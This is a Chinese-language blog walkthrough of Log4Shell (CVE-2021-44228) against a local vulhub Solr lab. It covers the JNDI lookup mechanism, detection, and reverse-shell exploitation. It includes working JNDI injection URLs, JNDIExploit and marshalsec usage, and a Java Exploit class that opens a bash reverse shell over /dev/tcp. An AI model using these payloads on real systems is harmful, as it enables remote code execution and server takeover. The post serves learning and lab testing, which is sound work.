【网络安全】Log4shell学习

log4j2 RCE

Posted by 3thernet on August 27, 2024

0x01 概述

Log4Shell,编号CVE-2021-44228,是Apache Log4J 2 Java某些版本中的RCE漏洞,CVSS评分为10,被认为是互联网有史以来最重大的安全漏洞之一。

影响范围:Apache Log4j 2.x<=2.14.1

任何使用低版本Log4j2记录未经验证用户输入的应用程序都可能受到影响,比如 :

  • Tomcat, JBoss, WebSphere 使用 Log4j2 记录HTTP请求或参数;

  • Kafka、Spark等大数据框架使用Log4j2来记录事件;

  • Solr和Elasticsearch使用Log4j2进行日志记录;

  • Jenkins等开发工具使用Log4j2来监控和记录活动;

  • Minecraft服务器使用Log4j2记录玩家活动

Checklist:

1
2
3
4
5
6
7
8
9
10
11
12
13
Spring-Boot-strater-log4j2
Apache Struts2
Apache Solr
Apache Flink
Apache Druid
ElasticSearch
Flume
Dubbo
Redis
Logstash
Kafka
vmvare
Swift frameworks

漏洞原理

JNDI(Java Naming and Directory Interface):JNDI是一种Java API,用于在Java应用程序中访问各种命名和目录服务,例如LDAP(轻量级目录访问协议)、DNS、RMI等。

Log4j2支持一种表达式语言(即Lookups),用于在日志消息中插入动态内容。例如,${env:USERNAME}可以插入当前环境变量USERNAME的值。同时,Log4j2还支持JNDI查找,如${jndi:ldap://<attacker-ip>/Exploit}。当Log4j2处理这样的表达式时,它会尝试连接到LDAP服务器,如果LDAP服务器为攻击者所控制,则可以返回一个指向恶意Java类的URL引用,其中包含构造函数或静态代码块,Log4j2会从该URL加载执行恶意代码。

可参考这篇文章画的流程图:Log4j2 反序列化漏洞原理与复现_log4j2反序列化-CSDN博客

0x02 靶场搭建

安装docker和docker-compose:

1
sudo apt-get install docker docker-compose

之前安装过docker,担心apt-get安装的docker-compose与docker版本不匹配,因此搜索查阅了对应版本后使用curl下载安装:

1
2
3
docker -version
# Docker version 20.10.25+dfsg1, build b82b9f3
curl -L https://github.com/docker/compose/releases/download/1.28.0-rc1/docker-compose-`uname -s`-`uname -m` > /usr/local/bin/docker-compose

注:vulhub文档给出的安装方法是用pip安装docker-compose,但由于debian系统自带的pyyaml版本较高,pip安装会报错。

搭建靶场:

1
2
3
4
5
6
7
git clone https://github.com/vulhub/vulhub.git
cd vulhub/log4j/CVE-2021-44228
docker-compose up -d
docker ps
docker exec -it [CONTAINER_ID] /bin/bash
ip a # 查看服务器ip
# 172.18.0.2:8983

出于种种原因,我把docker装在虚拟机,burpsuite pro在物理机,于是需要开个Host-Only网卡后进行端口映射

1
ssh -L 127.0.0.1:8983:172.18.0.2:8983 root@192.168.56.102

0x03 漏洞检测

3.1 手工

1
http://127.0.0.1:8983/solr/admin/cores?_=${jndi:ldap://xxx.dnslog.cn}

3.2 BurpSuite Pro插件

插件地址:

该插件支持被动扫描和主动扫描,自动配置dnslogCN和digpm,多种POC和FUZZ模式

这里选择dnslogCN,passive模式,访问Core Admin页面后在Extensions栏可以看到扫描记录:

在Logger可以看到扫描的发包记录(需要在Log4j2Scan-FUZZ关闭Enable Ex-request

扫描结果会显示在Dashboard Issue列表:

3.3 log4j-scan

项目地址:

注意:

  1. 指定--dns-callback-provider dnslog.cn解决interact.sh server unavailable

  2. 创建一个空的headers-none.txt并指定为头部字段FUZZ,否则可能会被服务器认为是Bad Message而拒绝

0x04 反弹Shell

4.1 JNDI注入工具(推荐)

工具地址:

1
2
3
4
git clone https://github.com/0x727/JNDIExploit.git
apt install maven
mvn clean package -DskipTests
cd target

源代码使用了sun.misc.BASE64Encoder,新版JDK编译会报can not found symbol错误,解决方法是用java.util.Base64类替换sun.misc.BASE64Encoer

这里直接下载jar包:

1
2
3
4
wget https://github.com/0x727/JNDIExploit/releases/download/1.1/JNDIExploit.zip
unzip JNDIExploit.zip -d JNDIExploit
cd JNDIExploit
java -jar JNDIExploit-1.3-SNAPSHOT.jar -i 192.168.56.102

打开监听端口:

1
nc -lvvp 8888

浏览器访问:http://127.0.0.1:8983/solr/admin/cores?_=${jndi:ldap://192.168.56.102:1389/Basic/ReverseShell/192.168.56.102/8888}

假如报错:

1
2
3
4
java.lang.IllegalAccessError: superclass access check failed: 
class com.feihong.ldap.template.TomcatEchoTemplate (in unnamed module @0x4015e7ec) 
cannot access class com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet (in module java.xml) 
because module java.xml does not export com.sun.org.apache.xalan.internal.xsltc.runtime to unnamed module @0x4015e7ec

是因为Java 9开始,模块类如果没有被显式导出,则无法被其他模块访问。

解决方法:

1
java --add-exports java.xml/com.sun.org.apache.xalan.internal.xsltc.runtime=ALL-UNNAMED -jar JNDIExploit-1.3-SNAPSHOT.jar

成功反弹shell:

4.2 手工搭建HTTP+LDAP服务器

编写恶意代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
import java.lang.Runtime;
import java.lang.Process;

public class Exploit {
static {
try {
            Runtime rt = Runtime.getRuntime();
            String[] commands = {"bash", "-c", "bash -i >& /dev/tcp/攻击机kali机的ip/nc监听的端口 0>&1"};
            Process pc = rt.exec(commands);
            pc.waitFor();
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}

静态代码块用于类的初始化,在类第一次被加载到JVM时执行一次,不依赖于类的实例化。构造函数会在每次创建类的实例时执行调用。

编译得到Exploit.class文件:

(注意要用JDK1.8编译Exploit.class,用JDK17编译会导致无法反弹shell)

1
2
3
4
5
6
7
8
9
10
11
12
wget https://repo.huaweicloud.com/java/jdk/8u171-b11/jdk-8u171-linux-x64.tar.gz
tar -xzvf jdk-8u171-linux-x64.tar.gz
mv jdk1.8.0_171 /usr/lib/jvm/
update-alternatives --install /usr/bin/java java /usr/lib/jvm/jdk1.8.0_171/bin/java 8
update-alternatives --install /usr/bin/javac javac /usr/lib/jvm/jdk1.8.0_171/bin/javac 8
update-alternatives --config java
update-alternatives --config javac
# 切换java和javac版本
javac -version
# javac 1.8.0_171

javac Exploit.java

Exploit.class所在目录建立http服务器:

1
python -m http.server 9000

搭建LDAP服务器:

1
2
3
4
git clone https://github.com/mbechler/marshalsec.git
cd marshalsec
mvn clean package -DskipTests
java -cp target/marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://192.168.56.102:9000/Exploit"

打开监听:

1
nc -lvvp 8888

浏览器访问:http://127.0.0.1:8983/solr/admin/cores?action=${jndi:ldap://192.168.56.102:1389/Exploit}

关闭靶场

1
docker-compose down

0x05 其他

高版本的JDK即便存在log4j RCE也无法使用上述方法执行恶意代码,原因:

JDK 6u45、7u21之后:java.rmi.server.useCodebaseOnly的默认值被设置为true。当该值为true时,将禁用自动加载远程类文件,仅从CLASSPATH和当前JVM的java.rmi.server.codebase指定路径加载类文件。使用这个属性来防止客户端VM从其他Codebase地址上动态加载类,增加了RMI ClassLoader的安全性。

JDK 6u141、7u131、8u121之后:增加了com.sun.jndi.rmi.object.trustURLCodebase选项,默认为false,禁止RMI和CORBA协议使用远程codebase的选项,因此RMI和CORBA在以上的JDK版本上已经无法触发该漏洞,但依然可以通过指定URI为LDAP协议来进行JNDI注入攻击。

JDK 6u211、7u201、8u191之后:增加了com.sun.jndi.ldap.object.trustURLCodebase选项,默认为false,禁止LDAP协议使用远程codebase的选项,把LDAP协议的攻击途径也给禁了。

但服务器依然可以正常请求ldap服务器,因此构造特殊的ldap响应来执行恶意代码,具体:

0x06 参考